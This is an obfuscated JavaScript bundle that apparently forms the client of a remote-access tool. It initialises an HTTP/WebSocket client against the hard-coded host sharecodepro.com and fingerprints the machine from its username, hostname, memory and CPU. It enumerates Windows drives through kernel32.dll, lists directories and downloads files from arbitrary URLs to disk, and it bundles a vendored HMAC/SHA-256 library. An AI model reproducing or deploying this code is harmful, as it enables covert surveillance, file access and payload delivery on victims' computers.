| apply(_0x4891ce, _0x31cafd, _0x3dae60) { | |
| return _0xd92b83({ | |
| path: _0x5c234d, | |
| args: _0x3dae60 | |
| }); | |
| } | |
| }); | |
| return _0x10d58e; | |
| }, | |
| ClientRequestImpl = class { | |
| url; | |
| method; | |
| buildSearchParams; | |
| queryParams = void 0x0; | |
| pathParams = {}; | |
| rBody; | |
| cType = void 0x0; | |
| constructor(_0x2db4f2, _0x3c503f, _0xea2acd) { | |
| this.url = _0x2db4f2; | |
| this.method = _0x3c503f; | |
| this.buildSearchParams = _0xea2acd.buildSearchParams; | |
| } | |
| fetch = async (_0x2c5098, _0x2dd4b6) => { | |
| if (_0x2c5098) { | |
| if (_0x2c5098.query) { | |
| this.queryParams = this.buildSearchParams(_0x2c5098.query); | |
| } | |
| if (_0x2c5098.form) { | |
| const _0x5437a2 = new FormData(); | |
| for (const [_0x36dcef, _0x48bc10] of Object.entries(_0x2c5098.form)) { | |
| if (Array.isArray(_0x48bc10)) { | |
| for (const _0x5a3abc of _0x48bc10) { | |
| _0x5437a2.append(_0x36dcef, _0x5a3abc); | |
| } | |
| } else { | |
| _0x5437a2.append(_0x36dcef, _0x48bc10); | |
| } | |
| } | |
| this.rBody = _0x5437a2; | |
| } | |
| if (_0x2c5098.json) { | |
| this.rBody = JSON.stringify(_0x2c5098.json); | |
| this.cType = "application/json"; | |
| } | |
| if (_0x2c5098.param) { | |
| this.pathParams = _0x2c5098.param; | |
| } | |
| } | |
| let _0x3014fe = this.method.toUpperCase(); | |
| const _0x1678ca = { | |
| ..._0x2c5098?.["header"], | |
| ...(typeof _0x2dd4b6?.["headers"] === "function" ? await _0x2dd4b6.headers() : _0x2dd4b6?.["headers"]) | |
| }; | |
| if (_0x2c5098?.["cookie"]) { | |
| const _0x44d255 = []; | |
| for (const [_0xad74e1, _0x1e7405] of Object.entries(_0x2c5098.cookie)) { | |
| _0x44d255.push(serialize(_0xad74e1, _0x1e7405, { | |
| path: '/' | |
| })); | |
| } | |
| _0x1678ca.Cookie = _0x44d255.join(','); | |
| } | |
| if (this.cType) { | |
| _0x1678ca["Content-Type"] = this.cType; | |
| } | |
| const _0x27e779 = new Headers(_0x1678ca ?? void 0x0); | |
| let _0x52365b = this.url; | |
| _0x52365b = removeIndexString(_0x52365b); | |
| _0x52365b = replaceUrlParam(_0x52365b, this.pathParams); | |
| if (this.queryParams) { | |
| _0x52365b = _0x52365b + '?' + this.queryParams.toString(); | |
| } | |
| _0x3014fe = this.method.toUpperCase(); | |
| const _0xab5aea = !(_0x3014fe === "GET" || _0x3014fe === "HEAD"); | |
| return (_0x2dd4b6?.["fetch"] || fetch)(_0x52365b, { | |
| body: _0xab5aea ? this.rBody : void 0x0, | |
| method: _0x3014fe, | |
| headers: _0x27e779, | |
| ..._0x2dd4b6?.["init"] | |
| }); | |
| }; | |
| }, | |
| hc = (_0x37df4b, _0x2854a4) => createProxy(function _0x3256d3(_0x4f9bd1) { | |
| const _0x2d57a8 = _0x2854a4?.["buildSearchParams"] ?? buildSearchParams, | |
| _0x5a8914 = [..._0x4f9bd1.path], | |
| _0x407145 = _0x5a8914.slice(-0x3).reverse(); | |
| if (_0x407145[0x0] === "toString") { | |
| if (_0x407145[0x1] === "name") { | |
| if (_0x407145[0x2]) { | |
| return true; | |
| } | |
| return ''; | |
| } | |
| return _0x3256d3.toString(); | |
| } | |
| if (_0x407145[0x0] === "valueOf") { | |
| if (_0x407145[0x1] === "name") { | |
| if (_0x407145[0x2]) { | |
| return true; | |
| } | |
| return ''; | |
| } | |
| return _0x3256d3; | |
| } | |
| let _0x494e5e = ''; | |
| if (/^\$/.test(_0x407145[0x0])) { | |
| const _0x3b1c47 = _0x5a8914.pop(); | |
| if (_0x3b1c47) { | |
| _0x494e5e = _0x3b1c47.replace(/^\$/, ''); | |
| } | |
| } | |
| const _0x38582a = _0x5a8914.join('/'), | |
| _0x5e87bb = mergePath(_0x37df4b, _0x38582a); | |
| if (_0x494e5e === "url") { | |
| let _0x5c6319 = _0x5e87bb; | |
| if (_0x4f9bd1.args[0x0]) { | |
| if (_0x4f9bd1.args[0x0].param) { | |
| _0x5c6319 = replaceUrlParam(_0x5e87bb, _0x4f9bd1.args[0x0].param); | |
| } | |
| if (_0x4f9bd1.args[0x0].query) { | |
| _0x5c6319 = _0x5c6319 + '?' + _0x2d57a8(_0x4f9bd1.args[0x0].query).toString(); | |
| } | |
| } | |
| _0x5c6319 = removeIndexString(_0x5c6319); | |
| return new URL(_0x5c6319); | |
| } | |
| if (_0x494e5e === 'ws') { | |
| const _0x5ae28c = replaceUrlProtocol(_0x4f9bd1.args[0x0] && _0x4f9bd1.args[0x0].param ? replaceUrlParam(_0x5e87bb, _0x4f9bd1.args[0x0].param) : _0x5e87bb, 'ws'), | |
| _0x4428e6 = new URL(_0x5ae28c), | |
| _0x30a3a9 = _0x4f9bd1.args[0x0]?.["query"]; | |
| if (_0x30a3a9) { | |
| Object.entries(_0x30a3a9).forEach(([_0xff63ef, _0x14a5c8]) => { | |
| if (Array.isArray(_0x14a5c8)) { | |
| _0x14a5c8.forEach(_0x1a6de5 => _0x4428e6.searchParams.append(_0xff63ef, _0x1a6de5)); | |
| } else { | |
| _0x4428e6.searchParams.set(_0xff63ef, _0x14a5c8); | |
| } | |
| }); | |
| } | |
| const _0x2252e4 = (..._0x31be2d) => { | |
| if (_0x2854a4?.["webSocket"] !== void 0x0 && typeof _0x2854a4.webSocket === "function") { | |
| return _0x2854a4.webSocket(..._0x31be2d); | |
| } | |
| return new WebSocket(..._0x31be2d); | |
| }; | |
| return _0x2252e4(_0x4428e6.toString()); | |
| } | |
| const _0x25bb9d = new ClientRequestImpl(_0x5e87bb, _0x494e5e, { | |
| buildSearchParams: _0x2d57a8 | |
| }); | |
| if (_0x494e5e) { | |
| _0x2854a4 ??= {}; | |
| const _0x1d6a8d = deepMerge(_0x2854a4, { | |
| ..._0x4f9bd1.args[0x1] | |
| }); | |
| return _0x25bb9d.fetch(_0x4f9bd1.args[0x0], _0x1d6a8d); | |
| } | |
| return _0x25bb9d; | |
| }, []); | |
| async function pingUrl(_0x104e2c, _0x2b8473 = 0x7d0) { | |
| try { | |
| console.log("Pinging " + _0x104e2c + "..."); | |
| const _0x4ebc74 = new AbortController(), | |
| _0x4bf142 = setTimeout(() => { | |
| console.log("Timeout reached for " + _0x104e2c + ", aborting..."); | |
| _0x4ebc74.abort(); | |
| }, _0x2b8473); | |
| console.log("Fetching " + _0x104e2c + "/health..."); | |
| const _0x2d1d6e = await fetch(_0x104e2c + "/health", { | |
| method: "GET", | |
| signal: _0x4ebc74.signal | |
| }); | |
| clearTimeout(_0x4bf142); | |
| console.log("Got response from " + _0x104e2c + ':\x20' + _0x2d1d6e.status); | |
| return _0x2d1d6e.ok; | |
| } catch (_0x3fd4c0) { | |
| console.error("Failed to ping " + _0x104e2c + ':', _0x3fd4c0); | |
| return false; | |
| } | |
| } | |
| async function findWorkingApiUrl(_0x1d1e76) { | |
| console.log("Testing " + _0x1d1e76.length + " API URLs in parallel..."); | |
| const _0x957286 = _0x1d1e76.map(async _0x19e207 => { | |
| const _0xf08314 = await pingUrl(_0x19e207); | |
| console.log(_0x19e207 + ':\x20' + (_0xf08314 ? "\xE2\u0153\u201C working" : "\xE2\u0153\u2014 failed")); | |
| if (_0xf08314) { | |
| return _0x19e207; | |
| } | |
| throw new Error(_0x19e207 + " not working"); | |
| }); | |
| try { | |
| const _0x554d50 = await Promise.race(_0x957286); | |
| console.log("Selected first working API URL: " + _0x554d50); | |
| return _0x554d50; | |
| } catch { | |
| console.log("No immediate response, waiting for all URLs..."); | |
| const _0x420847 = await Promise.allSettled(_0x957286), | |
| _0x2fbcf2 = _0x420847.find(_0x562a12 => _0x562a12.status === "fulfilled"); | |
| if (_0x2fbcf2) { | |
| console.log("Selected working API URL: " + _0x2fbcf2.value); | |
| return _0x2fbcf2.value; | |
| } | |
| console.warn("No working API URLs found, using first URL as fallback"); | |
| return _0x1d1e76[0x0]; | |
| } | |
| } | |
| var clientInstance = null, | |
| selectedApiUrl = null; | |
| async function initializeClient() { | |
| console.log("Finding working API URL from:", "http://sharecodepro.com"); | |
| const _0x2814b7 = "http://sharecodepro.com".split(',').map(_0xfb7687 => _0xfb7687.trim()), | |
| _0x32e856 = await findWorkingApiUrl(_0x2814b7); | |
| console.log("Creating client instance for:", _0x32e856); | |
| selectedApiUrl = _0x32e856; | |
| clientInstance = hc(_0x32e856, {}); | |
| console.log("Client instance created successfully"); | |
| } | |
| function getSelectedApiUrl() { | |
| if (!selectedApiUrl) { | |
| throw new Error("Client not initialized. Call initializeClient() first."); | |
| } | |
| return selectedApiUrl; | |
| } | |
| var client = new Proxy({}, { | |
| get(_0x4f8b11, _0x34f0e3) { | |
| if (!clientInstance) { | |
| throw new Error("Client not initialized. Call initializeClient() first."); | |
| } | |
| return clientInstance[_0x34f0e3]; | |
| } | |
| }), | |
| import_node_fs = __toESM(require('node:fs')), | |
| import_node_path = __toESM(require('node:path')), | |
| import_node_stream = require('node:stream'), | |
| import_promises = require('node:stream/promises'), | |
| DRIVE_UNKNOWN = 0x0, | |
| DRIVE_NO_ROOT_DIR = 0x1, | |
| DRIVE_REMOVABLE = 0x2, | |
| DRIVE_FIXED = 0x3, | |
| DRIVE_REMOTE = 0x4, | |
| DRIVE_CDROM = 0x5, | |
| DRIVE_RAMDISK = 0x6, | |
| driveTypeNames = { | |
| [DRIVE_UNKNOWN]: "Unknown", | |
| [DRIVE_NO_ROOT_DIR]: "No Root Directory", | |
| [DRIVE_REMOVABLE]: "Removable", | |
| [DRIVE_FIXED]: "Local", | |
| [DRIVE_REMOTE]: "Network", | |
| [DRIVE_CDROM]: "CD-ROM", | |
| [DRIVE_RAMDISK]: "RAM" | |
| }, | |
| kernel32 = null; | |
| function getKernel32() { | |
| if (!kernel32) { | |
| kernel32 = Deno.dlopen("kernel32.dll", { | |
| GetLogicalDrives: { | |
| parameters: [], | |
| result: "u32" | |
| }, | |
| GetDriveTypeW: { | |
| parameters: ["buffer"], | |
| result: 'u32' | |
| }, | |
| GetDiskFreeSpaceExW: { | |
| parameters: ["buffer", "buffer", "buffer", "buffer"], | |
| result: 'i32' | |
| }, | |
| GetVolumeInformationW: { | |
| parameters: ["buffer", "buffer", 'u32', "buffer", "buffer", "buffer", "buffer", "u32"], | |
| result: 'i32' | |
| } | |
| }); | |
| } | |
| return kernel32; | |
| } | |
| function toWideString(_0x3d28e3) { | |
| const _0x35c096 = new TextEncoder(), | |
| _0x2ee0a7 = _0x35c096.encode(_0x3d28e3), | |
| _0x632cb6 = new Uint8Array((_0x2ee0a7.length + 0x1) * 0x2); | |
| for (let _0xe30320 = 0x0; _0xe30320 < _0x3d28e3.length; _0xe30320++) { | |
| const _0x28fb4b = _0x3d28e3.charCodeAt(_0xe30320); | |
| _0x632cb6[_0xe30320 * 0x2] = _0x28fb4b & 0xff; | |
| _0x632cb6[_0xe30320 * 0x2 + 0x1] = _0x28fb4b >> 0x8 & 0xff; | |
| } | |
| return _0x632cb6; | |
| } | |
| function fromWideString(_0x439c9a) { | |
| let _0x5db08d = ''; | |
| for (let _0x5e500b = 0x0; _0x5e500b < _0x439c9a.length - 0x1; _0x5e500b += 0x2) { | |
| const _0xdaa7e8 = _0x439c9a[_0x5e500b] | _0x439c9a[_0x5e500b + 0x1] << 0x8; | |
| if (_0xdaa7e8 === 0x0) { | |
| break; | |
| } | |
| _0x5db08d += String.fromCharCode(_0xdaa7e8); | |
| } | |
| return _0x5db08d; | |
| } | |
| function readBigUint64LE(_0x275170) { | |
| const _0x2a99ff = new DataView(_0x275170.buffer, _0x275170.byteOffset, 0x8); | |
| return _0x2a99ff.getBigUint64(0x0, true); | |
| } | |
| function listDrives() { | |
| try { | |
| const _0x51cb96 = getKernel32(), | |
| _0x5a2fb1 = _0x51cb96.symbols.GetLogicalDrives(); | |
| if (_0x5a2fb1 === 0x0) { | |
| return { | |
| drives: [], | |
| error: "GetLogicalDrives failed" | |
| }; | |
| } | |
| const _0x2dfeed = []; | |
| for (let _0x35b77d = 0x0; _0x35b77d < 0x1a; _0x35b77d++) { | |
| if ((_0x5a2fb1 & 0x1 << _0x35b77d) === 0x0) { | |
| continue; | |
| } | |
| const _0x202cbc = String.fromCharCode(0x41 + _0x35b77d), | |
| _0x535461 = _0x202cbc + ':\x5c', | |
| _0x1e48c1 = toWideString(_0x535461), | |
| _0x27b6d1 = _0x51cb96.symbols.GetDriveTypeW(_0x1e48c1); | |
| if (_0x27b6d1 === DRIVE_UNKNOWN || _0x27b6d1 === DRIVE_NO_ROOT_DIR) { | |
| continue; | |
| } | |
| let _0xbbadd = '', | |
| _0x148e06, | |
| _0x10d6a0, | |
| _0x49b4f6 = true; | |
| try { | |
| const _0x2a053f = new Uint8Array(0x208), | |
| _0x4552d5 = new Uint8Array(0x4), | |
| _0x3baebd = new Uint8Array(0x4), | |
| _0x99745d = new Uint8Array(0x4), | |
| _0x1adffe = new Uint8Array(0x208), | |
| _0x9a2f6a = _0x51cb96.symbols.GetVolumeInformationW(_0x1e48c1, _0x2a053f, 0x104, _0x4552d5, _0x3baebd, _0x99745d, _0x1adffe, 0x104); | |
| if (_0x9a2f6a !== 0x0) { | |
| _0xbbadd = fromWideString(_0x2a053f); | |
| } | |
| } catch { | |
| _0x49b4f6 = false; | |
| } | |
| try { | |
| const _0x20ccc3 = new Uint8Array(0x8), | |
| _0x4639b8 = new Uint8Array(0x8), | |
| _0x5bfb99 = new Uint8Array(0x8), | |
| _0x85e0f7 = _0x51cb96.symbols.GetDiskFreeSpaceExW(_0x1e48c1, _0x20ccc3, _0x4639b8, _0x5bfb99); | |
| if (_0x85e0f7 !== 0x0) { | |
| _0x148e06 = Number(readBigUint64LE(_0x4639b8)); | |
| _0x10d6a0 = Number(readBigUint64LE(_0x5bfb99)); | |
| } | |
| } catch {} | |
| _0x2dfeed.push({ | |
| letter: _0x202cbc + ':', | |
| label: _0xbbadd, | |
| type: driveTypeNames[_0x27b6d1] || "Local", | |
| totalSize: _0x148e06, | |
| freeSize: _0x10d6a0, | |
| isReady: _0x49b4f6 | |
| }); | |
| } | |
| return { | |
| drives: _0x2dfeed | |
| }; | |
| } catch (_0x11b38b) { | |
| return { | |
| drives: [], | |
| error: _0x11b38b instanceof Error ? _0x11b38b.message : "Unknown error" | |
| }; | |
| } | |
| } | |
| function listFiles(_0x1cbdb2) { | |
| try { | |
| const _0xb96e1e = import_node_fs["default"].statSync(_0x1cbdb2); | |
| if (!_0xb96e1e.isDirectory()) { | |
| return { | |
| path: _0x1cbdb2, | |
| items: [], | |
| error: "Path is not a directory" | |
| }; | |
| } | |
| const _0x3753ed = import_node_fs["default"].readdirSync(_0x1cbdb2).map(_0x540a59 => { | |
| const _0x51ef1c = import_node_path["default"].join(_0x1cbdb2, _0x540a59); | |
| try { | |
| const _0x2a1bae = import_node_fs["default"].statSync(_0x51ef1c); | |
| return { | |
| name: _0x540a59, | |
| path: _0x51ef1c, | |
| type: _0x2a1bae.isDirectory() ? "directory" : "file", | |
| size: _0x2a1bae.isFile() ? _0x2a1bae.size : void 0x0, | |
| modified: _0x2a1bae.mtime.toISOString(), | |
| attributes: _0x2a1bae.isDirectory() ? "Directory" : "File" | |
| }; | |
| } catch (_0x270eb9) { | |
| return { | |
| name: _0x540a59, | |
| path: _0x51ef1c, | |
| type: "file", | |
| size: void 0x0, | |
| modified: void 0x0, | |
| attributes: "Unknown" | |
| }; | |
| } | |
| }); | |
| return { | |
| path: _0x1cbdb2, | |
| items: _0x3753ed | |
| }; | |
| } catch (_0x481550) { | |
| return { | |
| path: _0x1cbdb2, | |
| items: [], | |
| error: _0x481550 instanceof Error ? _0x481550.message : "Unknown error" | |
| }; | |
| } | |
| } | |
| async function downloadFile(_0x5df1e1, _0x31ce41) { | |
| const _0x4d552d = await fetch(_0x5df1e1); | |
| if (!_0x4d552d.ok) { | |
| throw new Error("Failed to download file: " + _0x4d552d.status + '\x20' + _0x4d552d.statusText); | |
| } | |
| if (!_0x4d552d.body) { | |
| throw new Error("Response body is empty"); | |
| } | |
| try { | |
| const _0x17334f = _0x4d552d.headers.get("content-disposition"); | |
| if (_0x17334f) { | |
| const _0x26a1c8 = /filename\s*=\s*"?([^";]+)"?/i.exec(_0x17334f); | |
| if (_0x26a1c8 && _0x26a1c8[0x1]) { | |
| const _0xc8ebb8 = _0x26a1c8[0x1], | |
| _0x16c6a9 = _0xc8ebb8.replace(/[\\/]/g, '_'), | |
| _0x25b123 = _0x31ce41.endsWith(import_node_path["default"].sep) || import_node_path["default"].extname(_0x31ce41) === ''; | |
| let _0x22bdf1 = _0x31ce41; | |
| try { | |
| const _0x2ebc35 = import_node_fs["default"].existsSync(_0x31ce41) ? import_node_fs["default"].statSync(_0x31ce41) : null; | |
| if (_0x2ebc35 && _0x2ebc35.isDirectory()) { | |
| _0x22bdf1 = import_node_path["default"].join(_0x31ce41, _0x16c6a9); | |
| } | |
| } catch {} | |
| if (_0x25b123) { | |
| _0x22bdf1 = import_node_path["default"].join(import_node_path["default"].resolve(_0x31ce41), _0x16c6a9); | |
| } | |
| _0x31ce41 = _0x22bdf1; | |
| } | |
| } | |
| } catch {} | |
| const _0x39d42a = import_node_fs["default"].createWriteStream(_0x31ce41); | |
| await (0x0, import_promises.pipeline)(import_node_stream.Readable.fromWeb(_0x4d552d.body), _0x39d42a); | |
| } | |
| var import_node_crypto = __toESM(require('node:crypto')), | |
| import_node_os = __toESM(require('node:os')); | |
| function getHuidMd5() { | |
| return import_node_crypto["default"].createHash('md5').update('' + import_node_os["default"].userInfo().username + import_node_os["default"].hostname() + import_node_os["default"].totalmem() + import_node_os["default"].version() + new Set(import_node_os["default"].cpus().map(_0x170867 => _0x170867.model.trim()))).digest("hex"); | |
| } | |
| function isBytes(_0x4092c5) { | |
| if (_0x4092c5 instanceof Uint8Array) { | |
| return true; | |
| } | |
| if (!ArrayBuffer.isView(_0x4092c5)) { | |
| return false; | |
| } | |
| return _0x4092c5.constructor.name === "Uint8Array"; | |
| } | |
| function anumber(_0x3c8816, _0x254841 = '') { | |
| if (!Number.isSafeInteger(_0x3c8816) || _0x3c8816 < 0x0) { | |
| const _0x29bda6 = _0x254841 && '\x22' + _0x254841 + '\x22\x20'; | |
| throw new Error(_0x29bda6 + "expected integer >= 0, got " + _0x3c8816); | |
| } | |
| } | |
| function abytes(_0x15f384, _0x3de0d0, _0x32d079 = '') { | |
| const _0x2b44f8 = isBytes(_0x15f384), | |
| _0x2844bc = _0x15f384?.["length"], | |
| _0x5e5fd3 = _0x3de0d0 !== void 0x0; | |
| if (!_0x2b44f8 || _0x5e5fd3 && _0x2844bc !== _0x3de0d0) { | |
| const _0x5442ee = _0x32d079 && '\x22' + _0x32d079 + '\x22\x20', | |
| _0x5c97b1 = _0x5e5fd3 ? " of length " + _0x3de0d0 : '', | |
| _0x7f2557 = _0x2b44f8 ? "length=" + _0x2844bc : "type=" + typeof _0x15f384; | |
| throw new Error(_0x5442ee + "expected Uint8Array" + _0x5c97b1 + ", got " + _0x7f2557); | |
| } | |
| return _0x15f384; | |
| } | |
| function ahash(_0x2ba1b3) { | |
| if (typeof _0x2ba1b3 !== "function" || typeof _0x2ba1b3.create !== "function") { | |
| throw new Error("Hash must wrapped by utils.createHasher"); | |
| } | |
| anumber(_0x2ba1b3.outputLen); | |
| anumber(_0x2ba1b3.blockLen); | |
| } | |
| function aexists(_0x46b64f, _0x272174 = true) { | |
| if (_0x46b64f.destroyed) { | |
| throw new Error("Hash instance has been destroyed"); | |
| } | |
| if (_0x272174 && _0x46b64f.finished) { | |
| throw new Error("Hash#digest() has already been called"); | |
| } | |
| } | |
| function aoutput(_0x5d0c64, _0x1a8694) { | |
| abytes(_0x5d0c64, void 0x0, "digestInto() output"); | |
| const _0x16d257 = _0x1a8694.outputLen; | |
| if (_0x5d0c64.length < _0x16d257) { | |
| throw new Error("\"digestInto() output\" expected to be of length >=" + _0x16d257); | |
| } | |
| } | |
| function clean(..._0x35b71b) { | |
| for (let _0x2b4ba4 = 0x0; _0x2b4ba4 < _0x35b71b.length; _0x2b4ba4++) { | |
| _0x35b71b[_0x2b4ba4].fill(0x0); | |
| } | |
| } | |
| function createView(_0x19fd27) { | |
| return new DataView(_0x19fd27.buffer, _0x19fd27.byteOffset, _0x19fd27.byteLength); | |
| } | |
| function rotr(_0x5d5bcc, _0x447fc0) { | |
| return _0x5d5bcc << 0x20 - _0x447fc0 | _0x5d5bcc >>> _0x447fc0; | |
| } | |
| function createHasher(_0x33cdac, _0x31f0a4 = {}) { | |
| const _0x4a3f05 = (_0x1f2324, _0x54381c) => _0x33cdac(_0x54381c).update(_0x1f2324).digest(), | |
| _0x451698 = _0x33cdac(void 0x0); | |
| _0x4a3f05.outputLen = _0x451698.outputLen; | |
| _0x4a3f05.blockLen = _0x451698.blockLen; | |
| _0x4a3f05.create = _0x482d15 => _0x33cdac(_0x482d15); | |
| Object.assign(_0x4a3f05, _0x31f0a4); | |
| return Object.freeze(_0x4a3f05); | |
| } | |
| var oidNist = _0x592416 => ({ | |
| oid: Uint8Array.from([0x6, 0x9, 0x60, 0x86, 0x48, 0x1, 0x65, 0x3, 0x4, 0x2, _0x592416]) | |
| }), | |
| _HMAC = class { | |
| oHash; | |
| iHash; | |
| blockLen; | |
| outputLen; | |
| finished = false; | |
| destroyed = false; | |
| constructor(_0x39fc7d, _0xe87a7b) { | |
| ahash(_0x39fc7d); | |
| abytes(_0xe87a7b, void 0x0, "key"); | |
| this.iHash = _0x39fc7d.create(); | |
| if (typeof this.iHash.update !== "function") { | |
| throw new Error("Expected instance of class which extends utils.Hash"); | |
| } | |
| this.blockLen = this.iHash.blockLen; | |
| this.outputLen = this.iHash.outputLen; | |
| const _0x22e223 = this.blockLen, | |
| _0x4eba43 = new Uint8Array(_0x22e223); | |
| _0x4eba43.set(_0xe87a7b.length > _0x22e223 ? _0x39fc7d.create().update(_0xe87a7b).digest() : _0xe87a7b); | |
| for (let _0x2dc21a = 0x0; _0x2dc21a < _0x4eba43.length; _0x2dc21a++) { | |
| _0x4eba43[_0x2dc21a] ^= 0x36; | |
| } | |
| this.iHash.update(_0x4eba43); | |
| this.oHash = _0x39fc7d.create(); | |
| for (let _0x3cf9a0 = 0x0; _0x3cf9a0 < _0x4eba43.length; _0x3cf9a0++) { | |
| _0x4eba43[_0x3cf9a0] ^= 106; | |
| } | |
| this.oHash.update(_0x4eba43); | |
| clean(_0x4eba43); | |
| } | |
| update(_0x3bc0d7) { | |
| aexists(this); | |
| this.iHash.update(_0x3bc0d7); | |
| return this; | |
| } | |
| digestInto(_0x50cf87) { | |
| aexists(this); | |
| abytes(_0x50cf87, this.outputLen, "output"); | |
| this.finished = true; | |
| this.iHash.digestInto(_0x50cf87); | |
| this.oHash.update(_0x50cf87); | |
| this.oHash.digestInto(_0x50cf87); | |
| this.destroy(); | |
| } | |
| digest() { | |
| const _0x49732a = new Uint8Array(this.oHash.outputLen); | |
| this.digestInto(_0x49732a); | |
| return _0x49732a; | |
| } | |
| _cloneInto(_0x5b1e91) { | |
| _0x5b1e91 ||= Object.create(Object.getPrototypeOf(this), {}); | |
| const { | |
| oHash: _0x3d50ad, | |
| iHash: _0x3ba9d7, | |
| finished: _0x5ad640, | |
| destroyed: _0x4532a4, | |
| blockLen: _0x16a036, | |
| outputLen: _0x2621f3 | |
| } = this; | |
| _0x5b1e91 = _0x5b1e91; | |
| _0x5b1e91.finished = _0x5ad640; | |
| _0x5b1e91.destroyed = _0x4532a4; | |
| _0x5b1e91.blockLen = _0x16a036; | |
| _0x5b1e91.outputLen = _0x2621f3; | |
| _0x5b1e91.oHash = _0x3d50ad._cloneInto(_0x5b1e91.oHash); | |
| _0x5b1e91.iHash = _0x3ba9d7._cloneInto(_0x5b1e91.iHash); | |
| return _0x5b1e91; | |
| } | |
| clone() { | |
| return this._cloneInto(); | |
| } | |
| destroy() { | |
| this.destroyed = true; | |
| this.oHash.destroy(); | |
| this.iHash.destroy(); | |
| } | |
| }, | |
| hmac = (_0x1883b0, _0x5770c7, _0x5ed549) => new _HMAC(_0x1883b0, _0x5770c7).update(_0x5ed549).digest(); | |
| hmac.create = (_0x5bbc84, _0x1ae737) => new _HMAC(_0x5bbc84, _0x1ae737); | |
| function Chi(_0x37eb84, _0x21db08, _0x2e9914) { | |
| return _0x37eb84 & _0x21db08 ^ ~_0x37eb84 & _0x2e9914; | |
| } | |
| function Maj(_0x1d94df, _0xcee0e1, _0x348877) { | |
| return _0x1d94df & _0xcee0e1 ^ _0x1d94df & _0x348877 ^ _0xcee0e1 & _0x348877; | |
| } | |
| var HashMD = class { | |
| blockLen; | |
| outputLen; | |
| padOffset; | |
| isLE; | |
| buffer; | |
| view; | |
| finished = false; | |
| length = 0x0; | |
| pos = 0x0; | |
| destroyed = false; | |
| constructor(_0x25c50e, _0x43ba53, _0x2f6eb6, _0x56f393) { | |
| this.blockLen = _0x25c50e; | |
| this.outputLen = _0x43ba53; | |
| this.padOffset = _0x2f6eb6; | |
| this.isLE = _0x56f393; | |
| this.buffer = new Uint8Array(_0x25c50e); | |
| this.view = createView(this.buffer); | |
| } | |
| update(_0x1de033) { | |
| aexists(this); | |
| abytes(_0x1de033); | |
| const { | |
| view: _0x3280ea, | |
| buffer: _0x18f733, | |
| blockLen: _0x13d856 | |
| } = this, | |
| _0x405861 = _0x1de033.length; | |
| for (let _0x3e6fae = 0x0; _0x3e6fae < _0x405861;) { | |
| const _0x4142cb = Math.min(_0x13d856 - this.pos, _0x405861 - _0x3e6fae); | |
| if (_0x4142cb === _0x13d856) { | |
| const _0x2231eb = createView(_0x1de033); | |
| for (; _0x13d856 <= _0x405861 - _0x3e6fae; _0x3e6fae += _0x13d856) { | |
| this.process(_0x2231eb, _0x3e6fae); | |
| } | |
| continue; | |
| } | |
| _0x18f733.set(_0x1de033.subarray(_0x3e6fae, _0x3e6fae + _0x4142cb), this.pos); | |
| this.pos += _0x4142cb; | |
| _0x3e6fae += _0x4142cb; | |
| if (this.pos === _0x13d856) { | |
| this.process(_0x3280ea, 0x0); | |
| this.pos = 0x0; | |
| } | |
| } | |
| this.length += _0x1de033.length; | |
| this.roundClean(); | |
| return this; | |
| } | |
| digestInto(_0x47343d) { | |
| aexists(this); | |
| aoutput(_0x47343d, this); | |
| this.finished = true; | |
| const { | |
| buffer: _0x43f364, | |
| view: _0x4e6a41, | |
| blockLen: _0x5c10a2, | |
| isLE: _0x24ff7d | |
| } = this; | |
| let { | |
| pos: _0x44a40e | |
| } = this; | |
| _0x43f364[_0x44a40e++] = 0x80; | |
| clean(this.buffer.subarray(_0x44a40e)); | |
| if (this.padOffset > _0x5c10a2 - _0x44a40e) { | |
| this.process(_0x4e6a41, 0x0); | |
| _0x44a40e = 0x0; | |
| } | |
| for (let _0x23821b = _0x44a40e; _0x23821b < _0x5c10a2; _0x23821b++) { | |
| _0x43f364[_0x23821b] = 0x0; | |
| } | |
| _0x4e6a41.setBigUint64(_0x5c10a2 - 0x8, BigInt(this.length * 0x8), _0x24ff7d); | |
| this.process(_0x4e6a41, 0x0); | |
| const _0x34447f = createView(_0x47343d), | |
| _0x40ba3a = this.outputLen; | |
| if (_0x40ba3a % 0x4) { | |
| throw new Error("_sha2: outputLen must be aligned to 32bit"); | |
| } | |
| const _0x26410a = _0x40ba3a / 0x4, | |
| _0x8a44fc = this.get(); | |
| if (_0x26410a > _0x8a44fc.length) { | |
| throw new Error("_sha2: outputLen bigger than state"); | |
| } | |
| for (let _0x1ee9ee = 0x0; _0x1ee9ee < _0x26410a; _0x1ee9ee++) { | |
| _0x34447f.setUint32(0x4 * _0x1ee9ee, _0x8a44fc[_0x1ee9ee], _0x24ff7d); | |
| } | |
| } | |
| digest() { | |
| const { | |
| buffer: _0x41aeba, | |
| outputLen: _0x5b12e0 | |
| } = this; | |
| this.digestInto(_0x41aeba); | |
| const _0x39fba1 = _0x41aeba.slice(0x0, _0x5b12e0); | |
| this.destroy(); | |
| return _0x39fba1; | |
| } | |
| _cloneInto(_0xcfcd) { | |
| _0xcfcd ||= new this.constructor(); | |
| _0xcfcd.set(...this.get()); | |
| const { | |
| blockLen: _0x14e42d, | |
| buffer: _0xcb487f, | |
| length: _0x59c82d, | |
| finished: _0x4bb5b4, | |
| destroyed: _0x2b5969, | |
| pos: _0x160554 | |
| } = this; | |
| _0xcfcd.destroyed = _0x2b5969; | |
| _0xcfcd.finished = _0x4bb5b4; | |
| _0xcfcd.length = _0x59c82d; | |
| _0xcfcd.pos = _0x160554; | |
| if (_0x59c82d % _0x14e42d) { | |
| _0xcfcd.buffer.set(_0xcb487f); | |
| } | |
| return _0xcfcd; | |
| } | |
| clone() { | |
| return this._cloneInto(); | |
| } | |
| }, | |
| SHA256_IV = Uint32Array.from([0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]), | |
| U32_MASK64 = BigInt(4294967295), | |
